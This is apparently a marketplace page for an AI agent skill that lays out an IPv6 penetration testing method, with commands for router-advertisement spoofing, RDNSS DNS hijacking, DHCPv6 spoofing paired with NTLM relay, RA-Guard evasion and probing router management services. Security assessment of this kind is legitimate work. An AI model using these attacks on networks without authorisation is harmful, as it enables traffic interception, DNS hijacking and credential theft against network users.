# Ipv6 Pentest

> IPv6 penetration testing methodology for local network assessments. Use this skill whenever the user mentions IPv6 pentesting, network reconnaissance, link-local attacks, RA spoofing, DHCPv6 attacks, NDP discovery, or any IPv6 security testing. Trigger for tasks involving IPv6 address discovery, router advertisement manipulation, DNS hijacking via RDNSS, or guest network exploitation.

- Skill: `abelrguezr/ipv6-pentest` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/ipv6-pentest`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/ipv6-pentest/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Product & Planning
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/ipv6-pentest

---


# IPv6 Penetration Testing

A comprehensive skill for conducting IPv6 security assessments on local networks. This skill covers reconnaissance, attack techniques, and defense validation for IPv6-enabled environments.

## When to Use This Skill

Use this skill when:
- Performing network reconnaissance on IPv6-enabled networks
- Testing link-local attack vectors (RA spoofing, RDNSS, DHCPv6)
- Discovering IPv6 addresses and topology
- Assessing IPv6 security controls (RA-Guard, DHCPv6 Guard)
- Exploiting exposed management services over IPv6
- Validating IPv6 hardening configurations

## Core Concepts

### IPv6 Address Structure

IPv6 addresses are 128-bit addresses divided into:
- **Network Prefix** (48 bits): Network segment identifier
- **Subnet ID** (16 bits): Specific subnet within the network
- **Interface Identifier** (64 bits): Unique device identifier

### Key Address Types

| Type | Prefix | Purpose |
|------|--------|--------|
| Link-Local | `fe80::/10` | Local network communication only |
| Unique Local | `fc00::/7` | Private networks (like 10.x.x.x) |
| Global Unicast | `2000::/3` | Public internet routing |
| Multicast | `ff00::/8` | One-to-many communication |
| Loopback | `::1` | Internal host communication |

### Critical Multicast Addresses

- `ff02::1` - All nodes on local link
- `ff02::2` - All routers on local link
- `ff02::1:ffxx:xxxx` - Solicited-node multicast

## Reconnaissance Phase

### Step 1: System Preparation

Before conducting IPv6 testing, harden your test system:

```bash
# Enable promiscuous mode for full packet capture
sudo ip link set dev <IFACE> promisc on

# Block rogue RAs and redirects to prevent self-poisoning
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0

# Increase limits for high-volume traffic
sudo sysctl -w fs.file-max=100000
sudo sysctl -w net.core.somaxconn=65535
sudo sysctl -w net.ipv4.tcp_tw_reuse=1
```

### Step 2: Passive Discovery

Use the `ipv6-sniffer.py` script to map the network without sending packets:

```bash
python3 ipv6-sniffer.py -i <IFACE> -t 60
```

This captures:
- Neighbor Solicitation/Advertisement (NS/NA)
- Router Solicitation/Advertisement (RS/RA)
- DHCPv6 messages
- MLD reports

### Step 3: Active Discovery

```bash
# Ping multicast to trigger neighbor discovery
ping6 -I <IFACE> -c 5 ff02::1 > /dev/null 2>&1

# View discovered neighbors
ip -6 neigh

# Alternative: use alive6
alive6 <IFACE>
```

### Step 4: Derive Link-Local from MAC

Given a MAC address, construct the link-local IPv6:

1. Convert MAC to hex groups: `12:34:56:78:9a:bc` → `1234:5678:9abc`
2. Insert `fffe`: `1234:56ff:fe78:9abc`
3. Invert 7th bit of first octet: `1234` → `1034`
4. Prepend `fe80::`: `fe80::1034:56ff:fe78:9abc`

Use the `mac-to-ipv6.py` script for automation.

### Step 5: DNS Reconnaissance

```bash
# Query AAAA records
dig AAAA <domain>

# Attempt zone transfer
dig AXFR @<nameserver> <domain>

# Broad ANY query
dig ANY <domain>
```

## Attack Techniques

### Router Advertisement (RA) Spoofing

RA spoofing hijacks the default gateway by sending forged Router Advertisements more frequently than the legitimate router.

**Prerequisites:**
- Same /64 segment as targets
- Ability to send packets on the interface

**Execution:**

```bash
python3 ra-spoof.py -i <IFACE> -m <YOUR_MAC> --llip fe80::dead:beef --interval 5
```

**To forward traffic after winning:**

```bash
sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i <IFACE> -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o <IFACE> -j MASQUERADE
```

**To revert the attack:**

```bash
python3 ra-spoof.py -i <IFACE> -m <YOUR_MAC> --llip fe80::dead:beef --revert
```

### Understanding RA Flags

Inspect legitimate RAs to determine attack vectors:

```bash
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'
```

| Flag | Meaning | Attack Implication |
|------|---------|-------------------|
| M=1 | DHCPv6 for addresses | DHCPv6 spoofing viable |
| O=1 | DHCPv6 for other config | DNS hijacking via DHCPv6 |
| M=0, O=0 | Pure SLAAC | Use RDNSS spoofing instead |

**Router Preference (Prf):**
- High (`10`): Clients prefer this router
- Medium (`01`): Default
- Low (`00`): Last resort

### RDNSS (DNS) Spoofing

For SLAAC-only networks (M=0, O=0), use RDNSS to hijack DNS:

```bash
python3 rdns-spoof.py -i <IFACE> --llip fe80::dead:beef --dns <YOUR_DNS_IP> --interval 5
```

**To revert:**

```bash
python3 rdns-spoof.py -i <IFACE> --llip fe80::dead:beef --dns <YOUR_DNS_IP> --revert
```

### DHCPv6 Spoofing with mitm6

When M or O flags are set, use mitm6 for DHCPv6-based attacks:

```bash
# DNS takeover without rogue RAs
sudo mitm6 -i <IFACE> --no-ra -d <domain> --host-allowlist <host>

# Pair with NTLM relay
sudo ntlmrelayx.py -6 -t ldaps://<target> -wh <wpad_server>
```

### RA-Guard Evasion

If standard RA spoofing is blocked, try evasion techniques:

```bash
# Hop-by-Hop header variant
sudo atk6-fake_router6 -H <IFACE> 2001:db8:1337::/64

# Fragmentation variant
sudo atk6-fake_router6 -F <IFACE> 2001:db8:1337::/64

# Destination options variant
sudo atk6-fake_router6 -D <IFACE> 2001:db8:1337::/64

# Flooded variant with DHCPv6 flags
sudo atk6-flood_router26 -F -m <IFACE>
```

### Guest Network Management Exploitation

Many routers expose management services on guest SSIDs:

**Discovery:**

```bash
# Send Router Solicitation
python3 - <<'PY'
from scapy.all import *
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
PY

# Or use rdisc6
rdisc6 <IFACE>
```

**Exploitation:**

```bash
# SSH to management interface
ssh -6 admin@[fe80::1%<IFACE>]

# Web UI access
curl -g -6 -k 'http://[<ROUTER_IP>]/'

# Service sweep
nmap -6 -sS -Pn -p 22,23,80,443,7547 [<ROUTER_IP>]
```

## Defense Validation

### Check for RA-Guard

```bash
# Attempt normal RA spoofing
python3 ra-spoof.py -i <IFACE> -m <MAC> --llip fe80::dead:beef

# If blocked, try evasion variants
sudo atk6-fake_router6 -H <IFACE> 2001:db8:1337::/64
```

### Check for DHCPv6 Guard

```bash
# Attempt DHCPv6 spoofing
sudo mitm6 -i <IFACE> --no-ra -d test.local

# Monitor for responses
sudo tcpdump -i <IFACE> 'udp port 546 or udp port 547'
```

### Check for ND Inspection

```bash
# Attempt NS/NA spoofing
sudo arpspoof6 -i <IFACE> -t <TARGET> <GATEWAY>

# Monitor for detection
sudo tcpdump -i <IFACE> 'icmp6'
```

## Best Practices

1. **Always test in a lab first** - IPv6 behavior varies by OS and network equipment
2. **Document baseline behavior** - Capture legitimate RAs before attacking
3. **Use allowlists** - Scope attacks to specific hosts/domains to reduce noise
4. **Clean up properly** - Always revert attacks with lifetime=0
5. **Monitor for detection** - Watch for RA-Guard or IDS responses
6. **Validate client support** - Not all OSes support RDNSS or respond to DHCPv6

## Common Pitfalls

- **Self-poisoning**: Always set `accept_ra=0` before testing
- **Zone index required**: Link-local connections need `%<IFACE>` suffix
- **Firewall interference**: Stop ufw/iptables before testing
- **Client OS differences**: Windows, Linux, macOS handle IPv6 differently
- **RA-Guard false positives**: Some switches filter legitimate traffic

## References

- [RFC 7113 - RA-Guard Implementation Advice](https://www.rfc-editor.org/rfc/rfc7113.html)
- [RFC 8106 - IPv6 ND DNS Configuration](https://datatracker.ietf.org/doc/html/rfc8106)
- [mitm6 GitHub](https://github.com/dirkjanm/mitm6)
- [thc-ipv6](https://github.com/tpotthast/thc-ipv6)

## Scripts

The following scripts are bundled with this skill:

- `ipv6-sniffer.py` - Passive NDP/DHCPv6 traffic capture
- `ra-spoof.py` - Router Advertisement spoofing
- `rdns-spoof.py` - RDNSS DNS hijacking
- `mac-to-ipv6.py` - MAC to link-local IPv6 conversion

Run each script with `--help` for usage details.